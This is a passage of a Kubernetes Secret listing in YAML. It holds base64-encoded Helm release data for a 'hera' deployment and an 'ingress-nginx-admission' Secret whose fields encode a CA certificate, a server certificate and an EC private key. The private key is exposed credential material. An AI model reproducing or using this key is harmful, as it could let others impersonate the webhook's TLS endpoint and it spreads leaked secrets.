Q2aGptVk9PQnpxaDRURzhvWUxwMHdsVGp4ZVllM2tYWUkza2RrN0FMcTFwSDM0bGJncGNnTVZrOUwzNG9zOWo3L2w0Y0I4Q2Vadmc1VExZaXk1U24vMTFDc0ZOQUx5SHJqVU0vUXQyN1FlSGF4L05zajY2MmMrcXFhaGF0UkNXbXlUSDVnNlJUK2ZSbUl0RGtOLzc3MEY2NkJmMHRKL251U0dZcjU5QlJnbWlxYXVvZ0FMVitFR1p4SjZ1cHBHVEFab0NLbzBldW5wUS8zdWpJN3NsNllXang1TXYzSjMxbHZUSm1VZU5UNTNiSHJXVXV6NmVOcTlzVzNXaXhYRzM3TEUrdHhvT2xycmRqYnM4amVrdXJHelVzblhzTGprb0tKbm8wdkJwL2Y1cGZmbnJKd2RkNkNTN0xLZUV2S3Rrc0Zwcm8veVJCN0VSczE1ZlRWcEtVeDRIY1QzVCs3eUs4eFZkazEvVjBrc0J5UWk4Q2twakxGK1Evc3BWcFBSZW1oYjk3OTBWRElZQm1Jb2FISXNUN1BiNi9SZkc2dlU3c2picjhoWFhPZVg5V0EvU3VQaklDdkgwMmZ6SC83WFB5ZEZnbGJPY1B2aWg1cjZqb3hhWTdVMUFWODJreGRoV2lWUUw0VEhyWDBHM3Q3V1NvY0V2dFFsNGtRQnkvbnE3dGxOb21BWXFZbTVVYTZjdDRYZWR1ZXBraUJ2cGt3NXB5cElnN0xiZEVQZ2k4dnRaSVl5dGdIOUNJcDhIVEI0K1JpeldHc2Iwa2ZUWkdsS3A0dGhjdjB6ZjZKOVZZdndrd01jUUJKd2VjaW4weEtoZ0tYYktUZG1WdkxJcmZkVDNhU3ZFcUJJbGxQM0lMYnptUm1SOGpmdHFURTdiSnhvclA3SjNZL2N6Yll6Nnh1aXZJQkxUaHlJNGlEcHBNd2E5MFNsSS9QU2F0dmhMUmhuY2pSZU1iVFZERmtmUmNDbm5CdytlbU1jWFYrN2VqMDRtZ3A0NzNCVDRLVkh6c05lZ1dtUHlHQkw0V0FNak1qR3dkb0tsdUtnUG1ZKzc5a0R0ZDhkU3o3TmhSY2tqTUdMSlBZRzdKeEE2U1ZBVnBPZGQ0OTZwZkZZVWszZk5FVGduRmEwQTJtMW54eDFPZnlDNVlCSjN5U2VUY3lzNG9HcEluTEZ1RWJlNDZtRHdOREdidUFaVUNiTG5vR0tBS2ZlelVvT1d2UERaZlV2UEVlVU9KQlY0VlVveWJKa3J3L05vTmpUeHVzV3ZmNWRUTDdEczFobCtZcDYwU0x4aTJkRjBzdHo2S1dmZVJYMGpSdUcwb3M1VXdZU01aOE1UUlVDV3EwUkNJMXJoY3dsMlgzbDA3NEpHUXJaNGZtUDk2Wmh4ZjB2WGtLbjViZFd6d2ZaK2xxS3h4WWp5aGtaM3BaQmc3NmJpMTdPSGhmWG0rQzFHNEZKOFlwaHd2eEhKcitlWXh2OUVUTFNMQndUVnJLTEVVa0xIVUJXU2Q4RVRKbVVaYUx6Ry8reEcwZk1ZK21pR2YzVFZrZ2pNWU5hWG4wSzM5bVZyYzNsYmN4dGVWR2V3eWZXSjl4Tkg3aG1wVHpsTXNkVTVXcUZIaHl2RlNyMjYrNjh0emlLZTVubXROU1ZzYlJXL0JialcrV2xJVEdJUFJOZ1V0clhOa1IrTmFadnJ1K2VkZnNyd1AzazhZelRrSFhqYTV5cElIZUtYSnF6VmRQYkhCeWR1MlM4ZmZDckxwSnI5SmJ3dnowOU13U3lYTFQrRTg5RlgrVDk4M256OVBvWHBneG5Ubk8zQXQ4dFlIdlBMUFQwL0psbGE2MmErZTVvRnUxWE00WjEvUzVCTjk2RnVRd2JpaDVMTXhQVHE3YkVZeDEyZnBubHBucHF2aGkrakRQR1BTWWV6WTR2UTVqRjVjTmlkbzR3emRyaW9UcFk3UG5YdUNubnVCUDBiaDhNU2VQalc4eEQzVWVuek1lWXpvWFVlT2Noa3pmTFl3WGZGT25qOC8vTzRLM2NCQ3VPeVF2UEhRQmowMmJ4azJQV0o0NmM3L2dXVUZMcVQzK1NWTVhDQ2RrRmwxWUIvRW5nWmpYNWZrQVJNUHlCc2Y1Q2JXL2FQUWl5ak1sYngzRTB5NGRXelNzNk55UmcxTFBCSzJyQXE1eDNrTi82MDhJckljb0JITk9nMDEraFlDRHJ4QmdxK3hjcDkxMzgycUVrNFAwU1Q3dlRvN0dMaXBkYkNqM25zWWkyY25iSVJPMDBRN3hKbytONHZJZ3pOR2tJTDZpcWFmUFpxeTMzV2ZGaHlaOHhWVUwvVEsweU1ka0NFMHhXKzA2VjZLZ2IyTkRMUklodU1ScTQ0TG9lM0xNdXR4TkxzK3FTNWcrdHdBK0pOYk5PREdHNFJ5Wk5KNC9qa0tTbU40Uy9uNldsNHh0bDRtL0ZEU0M5bHh5UDlLWDF2NFcyeG1XS21LK2F1cktNU2xreG9vdUx0bUY4RzljQVlWajU5VGk3N3BTNEQxUEpoaHZqam5xYkdjT3ROczlQZmVVTTc3dVQ0VDZwaWkxcWE3eUs0OTR6SmRWMVRiRGE1dW5iNWppYWlTTExFdFdGZU5jbHdwbm1hUG1Zek1kMHdUYmFQTnFZeFpmOTVUalVaYW1uenBtMGJZc3AyU3BDN2Voei9wS25uNWduRVlwenJmeEtlczZyTjZtWDhHUFdWbmlya0h6YXB4cENMQytzekpzVzJTTjIyTDV1b1N4TUMvR0tLK25vT1dzT0tjYmRlRGF2a1Z2bTg1bGNGM1VuS2l2RWFqcC9KVHJWTnIwSWJLem1qZWlWL3o4QUV3YlhlSDJScnQwK0wzQVR6ekRsMS93bVRHZStlMVp3YkpWMUM0aFdqeXR4bUpkdko1WTlDTEtiMCt2MTdyZTc0ZGhhNWJiSEtSUjQreTFrOWVxd0RlMHB6cHVuNWRKS3ZVSnZ0Nk1McTR5YXA0NUhGakR1dXVRNmNNanZvSUh5UjVxbjdYWHhxdFNlZ013ZC9yRjdZUjU0K2JSamh3WHU2ZkRjcUpJZTZQMHYrcUVJd2Y1cloyYUNqanJlWWYzN1dSa2syOTFkVjNvN2FHckRvZm1ETGZYOFlrVjdCTjM5d00vTnZhY09lcXpueHZYNUNmNzdubmNnbjRuUUVrZnBkMEpVR3VuY2E2NDdHZmJlLzNTdS9VWDF2ZjFGVTY1N2lxdTBzcDE4Ri9xdjNtMWxmZnFPQkFFMnNCYTNPRm5ZOTBUZURtMWZKZ0JhcHdVTWt2bE44Y3ZZanczc2Z3VVY4ajA5NTNwdEl6WHVXb041VjNZdWpiTFE3QkptYTB5UndPdmgwZy9pTWhHS2RmVjEyNkR2UmY0eFJGUUowd24zZWRpN0h1Z3VWWWsvOWJ0ZDQ1V1praXdUSEVDcExGT0RkL2FPbVFEZlM5TzVDRDVlZGZOdWNQNC9PUWNxRzgyZHN1K0J1YUVxL3M2TGtkdEQrdDNwdkVONWxVeHh5NG1CUVBnNTNNNXgwRTZBcjdVMndXOFBMd1UvUUUxNzIvWEthSDVacDl2bHJjY21NdHlWZXB5NzVoRjIxekdzRzBWZ1FDdERmclJ4Q2ZscEpJbVY5Y0pvYjV5R1R3NTJxTnpXajB5aFQwL0xoS1hUM2s4cU5WV2NJcGNnTkxleWVOL3U0SWZyVDQ1M044MmtCTU56eThrTDQyNk02eGJoSzdsdlRDM1FsMjVkVHIxVVJ3RHJmbFZZbnZoVTh3WDBQSWg5bmszaUE5OHN5WlRZM3grSEJWMm9xaXBiZ1JVT1JINE1RbVVCWnFIUjkxclhPVWFyQnlnWU5yaGVhb2pQNlA1M21QQzhqcFlqUGZnQ2JoQmVWc2puYXMzMitCUVBUN2QxbGdmaGs2L3dYVGRPcUhXanlmeUNYcndMT1JBQ2pWMTdRQlZScktMYkovV2FUcE4wUW5FWDRTelJ0Yys1ZXR3OVp6S1E3UUxjcGtGUGl4ME4rbmFQRXdzaFhCQVN4NllvejVmSVQzcElqMmxJUm53ZDQ3VjZYTVFOdjZWcTRKWnhnUFVKTTVwaE5ZVEVlYXdGTi9ndWdGMWZTd01DOXVzcHlXWE5rcTN2a3RpS09OTmRRVXgxcE13emZrOVBSZjRJdDNTZzIrejdsSi8zNXJxRHZhOWVsT2U2M1pJVG4rKzNsQmJOK1RyZTFFamlXVWVkOXpPc2RwMWVuRDVlNDJTMFJqSVYzNTEvRzFSRitqZE1OUXl2c3ZyK0t5cjJrTEN2RjJiQ1c4cE5XdjU5TXJKejYxQkc0NWhodGFjVjJvQURla0VZVGViT1pvdmg1cXFSMmk5NlBVcjg3aGdsZmxZeHQ0c1hzN01VNGpHWHVvcWp0ZmcyaEtGN1YzNlNUZ09aMUppWmhRblg1dHh3aW8rMUlvTnRlTnd4ZnZjZnVzbWpqZm0rcmRpL1dqRnltZnVUdWFtemJYN1ZLdzluZjZxR0ZjbjVpVEd5RC9JRTVLTG1GdmRGMUhnMis3TEh4LzFvazdqa0F3Wi9DNVA5QzdoWWQwajNwN0VXNTR5cFdIYkFxK2grUml6YmxJMmc5NTlheVdSdCt5ZEhjNjd5MnR6d3ZWVmZLb0RTL1d0eDBRbXNsOTRLYWZmUHdDdW5zVHdLN3BYZXB2RDloMU9raGI0UmdJM0QwOEN6KzMxUEw2Ry9QUVV6UGQ1UEYvVlhTUVQyRGZLNjZjNTNRVHdwMDNIRG4xZkl2YTF6VjNBaDU4ai9UcURhMkVtTGlST0tHcTN5Tlc2cDZuSUQrZGl3RTlvdEQ1WS9MMVQxaDR0N05oclBEdjAxOStrZjQ4Y2RPc1J2YzlIYTlyVWZmcW03eERNc0szTFMxRzVwOXIwRVpvK1lMbi9WbFRTY0V5ZXk1Q2QveS9RTTFGWlNlU0Q2M25WcnVCUmM5KzhxWU93N0RWcVU3MjhGaWVwYlpqSnFhSmhYWEhFeVUvQ3JwelNmK3IwM1QySi9ENGVkWG1lNDFQak4rL1M2WU15MElBL3Q3SGtuajd6T2xIS2hiSHl2OWVETVNSY2w3ZUlxeGZ6UG16elEwNzFlZW56dmpsT1hoZHBMb0lWUitSL3M5ZCs2VEtyNGxlbERHYTR0bkdScWxMRTZVczg4N3BRUlo5NWphaThWcE5KeGlkMWsvOWQ3VjIxeG1JV1FHVmlQYStmWE5RTEZFKzZJa2E2RDErS0dIOXozdUQ5emZ4QWt2dHEyeVhMclBOMEdTY1dadkt0cG9qRTA3VU1FV0I0YjZFYVY1NmR0NTE5dVNzYUlIdDk3VS8ydGx6VTF1M3k4MFVqd0NhbjYxYmhiZzJGSk1FR3pUdHBMTXp6TmpsL0dTd1AxVWx4QkYreHI3WDFaY0tpSnBtUkZYdEJGTVI3MVd2bEhBUGFRcnIybU1kTFlZcjM4QnR4aGJKS1UxbUJ5RkRrVXZaQm8rb1BybDVSVmhGcTcrMjM5K1VONWY2bzg1TVhNNXNnSC9aRlZ4bkN6Q2FWN2pRenNsM1RqeXFyTzhWSlVUa20wdFhWOFdrZDRYVzZyQ2FENVVSZE9SWUZZMUQ2VXFwMHpQTm54SHcvY0M1Q2EvcFAxWnRYVmE2V2ZpMGZRK3ZPcHFaclAvM25RMzFYMVpHR2RBNVg2WmcrbWNncTI3WjVRUHFpcXhLQmVmM1BYWE53TFh2VEg3dGdWaDlhSDlKNzlacUFyeUhLY3AzYU9Pek9GKzN3L0t1L2tYaU8wSlNGYXlJN2JDRGUxc3haS0dKdlhBVWJ5K3didEdyRzVmdmhEK1FMOHBzL0RQODhiOWRjMC9vUHRDTzlLVjR3ekZjNm1ra041Vnp0TTVZeEpiMm1nVk1jV0cvMWdjWnFGQ1JvMUJ3OU9aby9PWUpjeG54Tk9WLzBRczd5YjNaSVo2RjJzN1hYMlhka1hkckFlUmRTWkZMNXQvb0FUSTJhNU9VZVRaTEhnU1d2VlE4OFdCd0JMYTNmZzM4RHJtS055dW5iS2p5QVphVXVvRkJYTTNsWHYxVVZENngzcWdQMFhmalJ1SXNtLzZxQ0N3UCtpWWpiN2lTMmZZWEpvQnkrTnRicGc3UnE3dUgzeVUxWFZuQVJpT1ljcXdvaS9QV3gyakthNjYyMmZmbXZzNWZMdXdtcS9KQWRCUWw5MTdpallDQ21YKzloN3BwN3EyWGVZLys5RzE0WjI4bnZ5Y0IrNWx4czNvL1JheU51Ry92THpmM1NzcC95dXZ6aU9ydjJmcDNNaE9ic1RYemFOaTdIQ0x2T1hRbTE3MVNzTVZsUFVZZ2hIZGFVaVNJdVdlakhJdVhacVh5L3QrOGc2TXkzUjQzWUt0M1lIbXEzcSs1VEtPMnZuakU2OXhKMCs1NWwzMmJGUHZMTVhRdDg4VDN5bXhVeXFtTDVqYnNZeWpoVW1SL3k2dnFCQzFxVSszVU1CTW9DNm9pL09EWWs0dndwaTU0bVpaLzQrbGEybGZ2Q2dVRGZGdlZpaC9aWG1ESi9CVkFhYWhlWnRJVGhhZVRURUFiUEVjTGNpZ0Ivd25IazR0cTdBaGJwV1BnbHJmME1MZDlqb0F4MWNTejNhQ3dmNjRXbVgxUmNYeWVuMXI3Y3l4K3l5V2NsL0VmZFk2Q045eWl3UEpXNUhJbW1NbFZjb21GRDVsZjRvYldPaDZuRjMvZnRIN3FZeG9FZW1mNGtIZDZudkxwYXF6Zi9aOTJNbmZEdFdPZXZwSEhwRyt6cU5lMWZsKzgycjZ1dWxmRWZYRVZMeGI3aHRmNkNPQzlIeFRrb3UwbXFVVHV2ekFzcUszeFZjU1NlUE9KOHdjNDQ3N2cyYTFEdjdEajlzY3haSzQ1NE5HV3FzZTRYL1c2WWk4RlBTTUN2ODcwVVZZU2xYZlg2OVZxRE5rRCtQdmZEVWwwMU1VeExscUVOWGs0RmZueEU4b2JrQ0xmbEdHV2RNWkdaNFZ6dGZaMS9WVmFXYTFVQ0c4YTdscFcrUEpUZVNuYkRNU0wwemRUUk51VmV1THdYdU9ZVmFldXFvbHA1VFZpNUoybjE1d3FIdW5KT0JGNE1OYldPWnc5WHozdm5IbmVOODFYY3FNTy8rSU01SDdXYzhIV3M2UHI0eVhJMjNjekViOXZacG5zSTVkSGdjVUExQnBTSkUzN1haVUozZVJqRnd3aWRUSmFoR2tuSitEdGN2SnZ2TTNpbWQ5MUppdHA4ODFyUG5MN3ZxbmRvc2oxT1U1Rzl4Y21JNHViMmR2bXlTbXJEQWllcG5nQ2ZKMmZveWhvUjBqVURpVFM1TW1tdVBCTzFidlozWGlFbVBlN2FCMHV3a3BKUHlFaEVmWldKN1Rvdm4vSzdFTWNOeDNsNldyN3MwcXFmemUzcHFoK2tKTENESXgwRnJtbGtUOG5seXg2M1JmUmVzYmZrOGdVdHh1WHo2b0FLWXJ4c1lnY09MUjZGVU9La2RIeEhicG83M05Pd05wWVJYRUs2MmpwUkMwNnZnalA3TUp4ZUU4NVZEYWYzQytCOG1iYmdGR3Q2WGo0TVoxYkJTUzFma0lLYm9uOTc2R2xsbW9JWE5nSjBqSDNSdXozaHRxV3NlTGRuTEh2NTg1YnN5U3AybGxBLzVTRVc1SnppaS9PQWp3Tk16bE1qOFg3RjNtYkxGK0ZjQmdKek9JVWF6czFINFp3MTRielVjTTUrQlp4Wkc4NTFEYWYzVVRpRkpweGtEYWZ3eGx5V1QwVlNDazY2TWZLRTlOVDA1UUF0U21hd2R3RGQwam1uNVl1V2lsald0UlRqOGRHNXpicVZvNHZnWFhtMzJTcmJOK0duYS9oWFhUb0hwcy90eTAybzFvWnBEazlEZDVpRjd0RFMxY2QwQjdWOG1UVjFCMTNvanZ6NXgyVG8zSktoN0RZcmNEdi9JaGtpR2pKRUY3cWpEMDYrT0ZkYUpvUGp3MUpXTTdqdTRZdWhRcHRscGpvbHB6b3lNdmtKQlJUdVlGSm9VYS9wS3RaMFBRL3h2N0cyN2ZYOGtCWTJQc3NndU00eSsyWlphWUd2RTRGcWZIYXYwUDFuZE9FdWF1SGhEZUF4MHlNYjkrMUNUVGtUQmxzbGxkT2F1c2pMNk5lNjhMYldoY0pIZFdIVzFJWGYyRW9YWnI5QUYxNldMN09tTHJ5dGRlRVZuRXpoZURZT3RtR2pOWGZlK3BMcFdSZFhBdDF4QzI1SGlzOXJZdkpOMnNPNVNzaWF6QzJZcDAwdFQxc0ZocG9DUlVDZDk0RFdYUkRzbWpoZmZqSE9XUnZuZFkzejVxTzhtVFhoSkdzNGhZL3BKZTgycStYT3FlWE8rd1g2TTdzOU4vWG5ON2JTbjMxdy9ndzltenBtWE12NjZxT3lmbW5KK3FhUzlVdVBMbnlkbmhsdVc5QnpYOWhlK0huMk1UMi9hdHBlNXhWN2V5cGdJbnBrOFZXWXhMeHRBZFBzVks4WjY0L0tIZEdVdTlWMld1RW5zaC9GYjkzRjcxTGoxNVlONVBRZzNNcjFIaWV4bGh0Y1JNdnh4SnVJcGk4bmdOWmhjVkFwMC9GaGRLUXp1WlBST01qYnBzbTZwa25ieHRub2l1N2k2d0g4UEloVEp3bGNKWGJoOGJVZWVOdUorZVdZdTZFeGgzVGV3R1lxUGpUaXRwTUJLb2V3Z0ttVHNOTGdvVmp6OFBKaEhtWU5IbTRxR1NVL0xLT2Jsb3llYXhuZHBhdnNRekthK3lrVmZyTmFSamUzeE1md3kzMlNDait2d28vNnFGNG9mSWtTdjZ6R1QvdW9UVTAxYmVyVmRsWFprbUxXWS9POGlwK1pyallOL0xKSzc5RWZYVWNLKzdIRWo2aDFzZk5SWFh6YjFNV3I3UnJEV0JTQ2FOdktPTkNDY0t2OWZHekQ4WjBFTGxnY3hwTHpDOGNhOXRFWjZhMEM1OXVQNHZ5TjdlSzhxbkh1bjgrZGhGTG1CWS9udzloUXBURyttSk4zYjRVWmt4aktPZFlVaXpTVVhZc1dwWDM3N2NOejFXbk5WYkcyR2E3aUtxVytIVHAwdHR3d2hERjNuUFVzaXNCT3pBQTFQbHQrSHR4SC9UL2pEWmZUMCtqSDMzREZzY0I3dHVOazlERDYvUG56NzhIL2RaUFhXbnE0cVdxL2ZYMmw2UC92Z1JGNXNuMkl2VEI0dURtU3Z3ZDdMN0FlYnZMS2NMOEh2cDBZbHBFWUQ3OEhOemVCNGRzUE42NTlNRDVYbmFQbmVWMGcvTW5Oald0RC8wdnNmalZkNDVBMG9QaE1mQ0Z2djR6emo0d28rckpQZ1gwSTdNU092M2poMTd6dlZyZDluM2xCbkJpQldZQXg5Tld4Uk9qMzBkMlgreS8wNTd4TTR1K2pvUWErRVJpT2JYMEcyY1BOM0liKzcwR0I5RHRvYXA4VE83QnM2eDFVelVzSHJvem9IWVQ5WFBiNzM1ekNOemNFUVh5Mjh2S1dYeEFSSDI3K3Y3eVgzMU9Db0UzWk95U3BBZWRobk56OFA3aVVKSDV1NTkrVS85dlloNk45bUZxK0Y5eWNiT0FiY1dJZi9sOFltZ1owd3pocGYvd1ltcWx2QjRrVWhzbk4xNk54K0hvNm5iNjZDZUpjKzh2WjRSQWVscUZ6ODMvL09mMCtaZWV6UDViZitEOGVCZW5IVnh1OStnSkRwOTJDell0WDlqYkpTM0toTmpkbTZBTXZ5TGxiWXZxMWdXcU5ZeFFla3JoTm1DV3V2SFdEYVJIYzNPUjFMcjk0Z1ZkOWtlSnFabi80eHZrUFhDWEx1OWczLzNGemQ3dktYMGRobk9DWDNSZDV5Yk0vb09kN3ljMS8zSkRVL2VwZGs2QlpWSDlZcCtCdi9nY3JsVGl5VFl4UmtrWDJ3MDFWNHE1aWM0SHVaL3pyNGVhZUtHVXJyN3I2SFQ5MWt5UXFuMGVITUFuTkVEN2NiTm52NWNPQ3BNVm5jVkdyOGVFWFUra2RVbUhaRVF3ek5OTjZCTU9Jb3ZockxSMlAxYmYvRnBDYm02SmFaUHh3US9idzBEY1MwMTAyOFg4M2N1OURyMlJoT1Y2VEg3aVB1bmJnUTYzK1ROYzI5M0hxdDh5TWg1dTczMjVwOHJkbmdnQTJjV3M5VDhDdGJkbUFHTk1UMHFBTSs3Zm4zeXo3K2RraUFVM2ZUUXpyMlRLTThlMjljZi9iclRHK0o0aTduZ0hhYSs3RGpXa2JkODhVRFc3djd5bkRKZ0ZsV0FRZ3hnUzR0Vzd2Ym9GTkVzOFQ0bmx5WjR4dnJUdGczdC9iSkRHbTZQdngzZk9ZSnU2c2NnallwdWtIcVBwZXNhazRqSCsweWxxS3VPZGlKYXcvYVpYK2JJQlcxRWg5dUtIcCttR3pWdXJEVFhKSTdjNjdYV3dmbWsycVNzMU5yRC9mREdMNUdrU1lDZ04xU1I5dWNCSEo5c2QxamRMZTEvMzFTcnRvM2R6Z2VzWm8ybFYxa0w5V2tELzBUY1ZHcys5VmhlV0htMmFCNWVhSGRuRGtEcUhmd2ZRem9zVEJUaVQ3dWZPbW9ZT3Z0RmFGZWtQZGQ4bmVWUENWNkRjcmFqOVVTMytibWoxckFlWllvenhwWjBnMEZHOG5Wd2hFUnVJKzNIdzlSWjloNkhqQmw4aTlnaWk2V295YW5jNXR3Mm9MVlJmTCtaVlpsdjhQMTBGL3VLbE10NGMrWE90dXpwK2Z3OFBKT0ZpMjlSbFQ0SlUrRVdCeCszMVBGZGFIRzdJelhydlM2c1BOdVAyNlc5LzE0WWJ1ZE5DdDMxcW85UVl4bXpWZnV3QzA2bHQvbUlFR3NvbHpYUVRoL3pCRzBuK1ZrZU5meWNkMk5lcC96OFQvNHhoNHhLV09WMml4dnRiZFBucjhQZWRXMjZYc1d4bHFDL1VZd3RlNlN2eW92NGVyRjljZ0hOS2d2KzNWaTNaYk96Ry81aXNtOWJWMlA3dGR4U25JdngvK0pCK3RHY2w0ejVEZGdNRGd3Rzk5K1A3aDAvandGY3M1QmlSeW82K292eS9XMTlxM0hvUmkrSlArOFhNcDZyTzNPaXkxL1NqSkhyM0R3ODJmUDY0Lzd2RHc5WS83YUdDVzBhaU9LTDhaalJvd0VydVMzSVpvOUdua2h1RytWYSs3TTBibndwelJweEZ5RFVjUG8rK2hWVndjMGJ6VDR1czdMOXhwaEVqN0F4UGZRNnZYNS96OURRQnpjL0svb3gvYTUrRWhhdVRJSVQ3K1BucTR3ZVFvTkdyRGQ3MXlLU3BKY2V4cW5TbHNkcERHR1FqUHRUZmkrd1ppeVgvK0wvVHgvL3BiNVhBZW5CZzliVFBrNFo3SVB6blkyTVl0RFhuUlB0cUgwYWVSZmJSeDdmai9IQ0ZRUi9oU2tUajU0NUFHbzRjLzg2cjl0dldIa1JRWHlZUitCTzNtazhqRmQyT01Sai93QlQwNVhYSHRmWVJRSEJsbUtjV2pILzkvQUFBQS8vLytjNWxxUE5BQUFBPT0=
  kind: Secret
  metadata:
    creationTimestamp: "2025-10-19T12:11:18Z"
    labels:
      modifiedAt: "1760875879"
      name: hera
      owner: helm
      status: deployed
      version: "1"
    name: sh.helm.release.v1.hera.v1
    namespace: hera
    resourceVersion: "6780247"
    uid: 306143e9-6290-4d2a-9fcd-45281daf9755
  type: helm.sh/release.v1
- apiVersion: v1
  data:
    ca: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUJkakNDQVJ1Z0F3SUJBZ0lRQkZKMGRTbENLVVNEYU95VHRyZU5GakFLQmdncWhrak9QUVFEQWpBUE1RMHcKQ3dZRFZRUUtFd1J1YVd3eE1DQVhEVEkxTURreU1URTROVGd5TkZvWUR6SXhNalV3T0RJNE1UZzFPREkwV2pBUApNUTB3Q3dZRFZRUUtFd1J1YVd3eE1Ga3dFd1lIS29aSXpqMENBUVlJS29aSXpqMERBUWNEUWdBRUhVN0lCZmJjCmFmYnFPWEhydUhmK0p0R2NiQ3BqZWVnMDZRRzduS2lVVjRlZXdNNkM0Y2czQVJ4M0thbjcxTitWamFDV092bm0KQUJacGdtRVlVaDhRNmFOWE1GVXdEZ1lEVlIwUEFRSC9CQVFEQWdJRU1CTUdBMVVkSlFRTU1Bb0dDQ3NHQVFVRgpCd01CTUE4R0ExVWRFd0VCL3dRRk1BTUJBZjh3SFFZRFZSME9CQllFRkt6cDRPakZtS2xWNGt1ZXBvOXloYW1SClN0RVhNQW9HQ0NxR1NNNDlCQU1DQTBrQU1FWUNJUUNCaUlaQ0xETUQ5VENYc2RpdUM5RVRvNUxDL1ZHaUlpRjQKMk15SlpEY1pxQUloQU1sK0lpdkZQZ0VDV3JsRWxHTDU4SS9rWGRFZzJDMjBxdDFaUXltS3YwQjgKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=
    cert: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUJ1ekNDQVdDZ0F3SUJBZ0lRVVVxd0d1RENvMEdZZ1R1eHdCODg1VEFLQmdncWhrak9QUVFEQWpBUE1RMHcKQ3dZRFZRUUtFd1J1YVd3eE1DQVhEVEkxTURreU1URTROVGd5TkZvWUR6SXhNalV3T0RJNE1UZzFPREkwV2pBUApNUTB3Q3dZRFZRUUtFd1J1YVd3eU1Ga3dFd1lIS29aSXpqMENBUVlJS29aSXpqMERBUWNEUWdBRXo2VS9PNWZJCjh3YVIrVlZ1SWQ4c25YaVZua3hvTGM5RVZud0hwWXdZNTdOWWV1OG04VWRiL21GWWdNRTljQkduV1c2d2FJNVIKNlBDa0poUWhCcEUrc2FPQm16Q0JtREFPQmdOVkhROEJBZjhFQkFNQ0JhQXdFd1lEVlIwbEJBd3dDZ1lJS3dZQgpCUVVIQXdFd0RBWURWUjBUQVFIL0JBSXdBREJqQmdOVkhSRUVYREJhZ2lKcGJtZHlaWE56TFc1bmFXNTRMV052CmJuUnliMnhzWlhJdFlXUnRhWE56YVc5dWdqUnBibWR5WlhOekxXNW5hVzU0TFdOdmJuUnliMnhzWlhJdFlXUnQKYVhOemFXOXVMbWx1WjNKbGMzTXRibWRwYm5ndWMzWmpNQW9HQ0NxR1NNNDlCQU1DQTBrQU1FWUNJUUN1dzRlUgp3QnhmVEdYRUE0NjVTWU1ybVQ0bndnOStZcHpvcHFUT3J3TWFJZ0loQU1jK2hQVlFIR0pZd2RNeTY2SkRJTm1ZCkpsWHFMQW91VUdpVHV2blJHYlBmCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K
    key: LS0tLS1CRUdJTiBFQyBQUklWQVRFIEtFWS0tLS0tCk1IY0NBUUVFSUt1NDZVaGpWZElWUlNVMnV2TnJ5K3NseFF6TjZtNitEUWxSdjFIOXFVTlpvQW9HQ0NxR1NNNDkKQXdFSG9VUURRZ0FFejZVL081Zkk4d2FSK1ZWdUlkOHNuWGlWbmt4b0xjOUVWbndIcFl3WTU3TllldThtOFVkYgovbUZZZ01FOWNCR25XVzZ3YUk1UjZQQ2tKaFFoQnBFK3NRPT0KLS0tLS1FTkQgRUMgUFJJVkFURSBLRVktLS0tLQo=
  kind: Secret
  metadata:
    creationTimestamp: "2025-09-21T19:03:24Z"
    name: ingress-nginx-admission
    namespace: ingress-nginx
    resourceVersion: "64716"
    uid: 72f5207d-9242-4915-9334-641beb47e72c
  type: Opaque
- apiVersion: v1
  data:
    release: SDRzSUFBQUFBQUFDLyt6OVdaUGFTTGN2RG4rVkNyOFg1MkszdXlWUnVCdEg3QXRFb2FsQVpRUm95UGM1Y1VJRFJvS1UwRk5pRWlmMmQvOUhwdVlKeEZCMjkzTjgwZEV1Sk9XNGN1V2FmbXY5MzArZTdpNCtmZjNrZU12M1JSQjg5cGFPZC96MDJ5ZkgrNzc1OVBYL2Z2cnV2QWZiLzJNdGZMZ0pGOWFucjU4b2d1cCtKbnFmS1hKR2tWK0p6bGZ5ejkrSjV4N3gzT3YyL3Zvdmd2cEtFSjkrK3dUMVc3NnlGbkN4eGUvalB3THozZkczenNiNzlQVVQ3d1ZiSGNJbmMrUDY2S1ZQdjMwS3R2cDJGM3o2K2ludDU3ZFAzbWE3UUQvTjdNVlRZVXBQNXNiYnZtOGdYTHcvMlhyd1pDd1czcE1UTmJxd2Z2K1h4MitmWEQxODJ1cnJ4WlArOUgxeGVISWRiN2RkQkUvZk4rOVBXM3Z4QkRlNjlXVG9VUGZNeGZzVC8rMXB1M2t5RmsvNlhuZWdic0RGNy8veXRNM3V5ZFM5cDRPK05XMzhVVFRJSnlOOGV0OTVudU10bi83WGVtY3N6QzE4V2k2MlQ4SGlmZStZaTZmUG45RStCTDV1bHNkZCtPdHpiaGFmUDI5MlczKzNmVG80Rm1vQTkvbS8vdVg5eSt0N1Q0dWpqdGJwaVkrK2Z0cmFPcHJmZWhFODdZTEYwK1k3SGx6VzJ0ZC9lVTlQdXUvSWkvZkEyWGhmbjd6RjlyQjVYenZlOHZmMVg4SHZ6dWFQUFluZVdUdWU5VFZwRnYzZ0xyYTZwVzkxM01MVEU1ckcxNlQ3N0NjOHM2OVAzemNiOUZ2Z0w4ejQvWGg2QTZnSGdZaS94Uk9OSHI3djRDS0lYM3g2K3Z4a2I0THQxNmZENGZCNzNNSHY1c1pOSGo4OTJkdXQvelg3OCtuSjE3ZDJVUGdGdFlKK25ZWCs0dXZUdC9mRmQrZFlmUDcwWk9qbWV1RlpYOHUvUHlXN1ZmT2tOUEZwOUdMZGUvN21mVnZid05PVHQzT054ZnZYcDcrSThuTTA1SzlQZjBRLy8vK2VacllUUEFVTEU1Mk5KeWQ0Mm5nd2ZIcGYvSHZudkMrc0orZjcwMncwUmI5SEJMcndFSFZhS1Izbk51L3BhUXZMQzV4ZnNNL05peDBzelBmRlZzelArdk1XQm9qKytIUUFEVjMvOXFRL1RmSDNtQVIxQng4TVRKR0w5NjN6M1RIMTdlSko5NnluOVNKOGNuZkI5a21IQVo2TS83N1pPOVlDN1U2WlpQTUVHclYraVQ2akFkZlRhTzZiTFF4K045KzNYNS8rdFNPSWptbm93ZUxMODlQQ016Zld3c0pEeGc4VzJkdnJSZGp3OW5vUlppOXZNUlVpZnZEdUxiWUxmTXp3a0Q3OXoyK2ZURnQvM3lJV25Nd0EvYnVCVzlzYi9ETTZBTUhYUC81WU9sdDdaNkQ5K2lOci9JL3lSOEZtOTI0aWJ2bi92K3JELy8zYnAzMjA1SisrZm5yK25lejhUdFZ3NjRqdDVO